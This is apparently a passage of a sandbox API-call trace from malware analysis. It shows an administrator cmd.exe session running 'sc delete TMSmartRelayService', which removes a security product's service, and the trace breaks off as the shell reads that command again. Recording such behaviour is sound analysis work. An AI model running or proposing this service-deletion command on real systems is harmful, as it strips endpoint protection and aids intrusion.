[0068.547] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.547] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34c, cchWideChar=1 | out: lpWideCharStr="S\n4-9.4\"\n\nA\"\n") returned 1 [0068.547] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.547] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.547] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.547] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34e, cchWideChar=1 | out: lpWideCharStr="e4-9.4\"\n\nA\"\n") returned 1 [0068.547] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.547] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.547] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.547] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e350, cchWideChar=1 | out: lpWideCharStr="r-9.4\"\n\nA\"\n") returned 1 [0068.547] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.547] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.547] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.547] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e352, cchWideChar=1 | out: lpWideCharStr="v9.4\"\n\nA\"\n") returned 1 [0068.547] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.548] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.548] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.548] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e354, cchWideChar=1 | out: lpWideCharStr="i.4\"\n\nA\"\n") returned 1 [0068.548] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.548] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.548] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.548] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e356, cchWideChar=1 | out: lpWideCharStr="c4\"\n\nA\"\n") returned 1 [0068.548] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.548] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.548] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.548] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e358, cchWideChar=1 | out: lpWideCharStr="e\"\n\nA\"\n") returned 1 [0068.548] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.548] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.548] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.548] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e35a, cchWideChar=1 | out: lpWideCharStr="\n\n\nA\"\n") returned 1 [0068.548] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.548] GetFileType (hFile=0xb8) returned 0x3 [0068.548] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.548] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.548] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.548] GetFileType (hFile=0x120) returned 0x3 [0068.548] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.549] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete TMSmartRelayService\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete TMSmartRelayService\n", lpUsedDefaultChar=0x0) returned 31 [0068.549] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x1e, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x1e, lpOverlapped=0x0) returned 1 [0068.549] GetProcessHeap () returned 0x1b0000 [0068.549] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1f8630 [0068.549] GetProcessHeap () returned 0x1b0000 [0068.549] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1f8630 | out: hHeap=0x1b0000) returned 1 [0068.549] GetProcessHeap () returned 0x1b0000 [0068.549] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0068.549] GetProcessHeap () returned 0x1b0000 [0068.549] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0068.549] GetProcessHeap () returned 0x1b0000 [0068.549] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x48) returned 0x1caa40 [0068.549] GetConsoleOutputCP () returned 0x1b5 [0068.549] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0068.549] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.549] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.549] GetProcessHeap () returned 0x1b0000 [0068.550] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0068.550] GetProcessHeap () returned 0x1b0000 [0068.550] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4e) returned 0x1c9b30 [0068.550] GetProcessHeap () returned 0x1b0000 [0068.550] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cba10 [0068.550] SetErrorMode (uMode=0x0) returned 0x1 [0068.550] SetErrorMode (uMode=0x1) returned 0x0 [0068.550] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cba20, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0068.550] SetErrorMode (uMode=0x1) returned 0x1 [0068.550] GetProcessHeap () returned 0x1b0000 [0068.550] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cba10, Size=0x62) returned 0x1cba10 [0068.550] GetProcessHeap () returned 0x1b0000 [0068.550] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cba10) returned 0x62 [0068.550] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0068.550] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0068.550] GetProcessHeap () returned 0x1b0000 [0068.550] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0068.550] GetProcessHeap () returned 0x1b0000 [0068.550] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0068.550] GetProcessHeap () returned 0x1b0000 [0068.550] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0068.550] GetProcessHeap () returned 0x1b0000 [0068.550] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0068.550] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0068.550] GetProcessHeap () returned 0x1b0000 [0068.550] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c97e0 [0068.550] GetProcessHeap () returned 0x1b0000 [0068.550] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c97e0, Size=0x7e) returned 0x1c97e0 [0068.550] GetProcessHeap () returned 0x1b0000 [0068.550] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c97e0) returned 0x7e [0068.550] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.551] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0068.551] GetLastError () returned 0x2 [0068.551] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0068.551] GetLastError () returned 0x2 [0068.551] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.551] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9870 [0068.551] FindClose (in: hFindFile=0x1c9870 | out: hFindFile=0x1c9870) returned 1 [0068.551] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0068.551] GetLastError () returned 0x2 [0068.551] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9870 [0068.551] FindClose (in: hFindFile=0x1c9870 | out: hFindFile=0x1c9870) returned 1 [0068.552] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.552] GetProcessHeap () returned 0x1b0000 [0068.552] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0068.552] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.552] GetProcessHeap () returned 0x1b0000 [0068.552] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0xb4) returned 0x1c9180 [0068.552] GetProcessHeap () returned 0x1b0000 [0068.552] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0xb4 [0068.552] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete TMSmartRelayService") returned 1 [0068.552] GetProcessHeap () returned 0x1b0000 [0068.552] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0068.553] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0068.553] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0068.553] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0068.553] GetProcessHeap () returned 0x1b0000 [0068.553] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0068.553] GetProcessHeap () returned 0x1b0000 [0068.553] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0068.553] GetProcessHeap () returned 0x1b0000 [0068.553] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0068.553] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete TMSmartRelayService", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete TMSmartRelayService", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete TMSmartRelayService", lpProcessInformation=0x14ee20*(hProcess=0x54, hThread=0x50, dwProcessId=0x828, dwThreadId=0xa6c)) returned 1 [0068.557] CloseHandle (hObject=0x50) returned 1 [0068.557] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0068.557] GetProcessHeap () returned 0x1b0000 [0068.557] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d1b10 | out: hHeap=0x1b0000) returned 1 [0068.557] GetEnvironmentStringsW () returned 0x1d1b10* [0068.557] GetProcessHeap () returned 0x1b0000 [0068.557] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0068.557] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0068.557] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0068.557] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd8000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0068.557] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0068.600] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0068.600] CloseHandle (hObject=0x54) returned 1 [0068.600] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0068.600] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0068.600] GetProcessHeap () returned 0x1b0000 [0068.600] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0068.600] GetEnvironmentStringsW () returned 0x1d1b10* [0068.600] GetProcessHeap () returned 0x1b0000 [0068.600] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0068.600] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0068.600] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0068.600] GetProcessHeap () returned 0x1b0000 [0068.600] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0068.600] GetEnvironmentStringsW () returned 0x1d1b10* [0068.600] GetProcessHeap () returned 0x1b0000 [0068.601] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0068.601] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0068.601] GetProcessHeap () returned 0x1b0000 [0068.601] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0068.601] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0068.601] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0068.601] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.601] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0068.602] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.602] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0068.602] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.602] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0068.602] GetConsoleOutputCP () returned 0x1b5 [0068.602] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0068.602] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.602] GetProcessHeap () returned 0x1b0000 [0068.602] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c97e0 | out: hHeap=0x1b0000) returned 1 [0068.602] GetProcessHeap () returned 0x1b0000 [0068.602] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0068.603] GetProcessHeap () returned 0x1b0000 [0068.603] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0068.603] GetProcessHeap () returned 0x1b0000 [0068.603] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0068.603] GetProcessHeap () returned 0x1b0000 [0068.603] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0068.603] GetProcessHeap () returned 0x1b0000 [0068.603] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0068.603] GetProcessHeap () returned 0x1b0000 [0068.603] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1caa40 | out: hHeap=0x1b0000) returned 1 [0068.603] GetProcessHeap () returned 0x1b0000 [0068.603] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0068.603] GetProcessHeap () returned 0x1b0000 [0068.603] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0068.603] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0068.603] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.603] GetFileType (hFile=0x120) returned 0x3 [0068.603] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.603] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0068.603] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0068.603] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0068.603] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0068.603] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0068.603] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0068.603] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.603] GetFileType (hFile=0x120) returned 0x3 [0068.603] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.604] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0068.604] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0068.604] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.604] GetFileType (hFile=0xb8) returned 0x3 [0068.604] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.604] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.604] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.604] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete TMSmartRelayService\n\n\nA\"\n") returned 1 [0068.604] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.604] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.604] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.604] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete TMSmartRelayService\n\n\nA\"\n") returned 1 [0068.604] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.604] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.604] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.604] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete TMSmartRelayService\n\n\nA\"\n") returned 1 [0068.604] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.604] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.604] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.604] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete TMSmartRelayService\n\n\nA\"\n") returned 1 [0068.604] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.604] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.604] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.604] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete TMSmartRelayService\n\n\nA\"\n") returned 1 [0068.604] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.604] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, 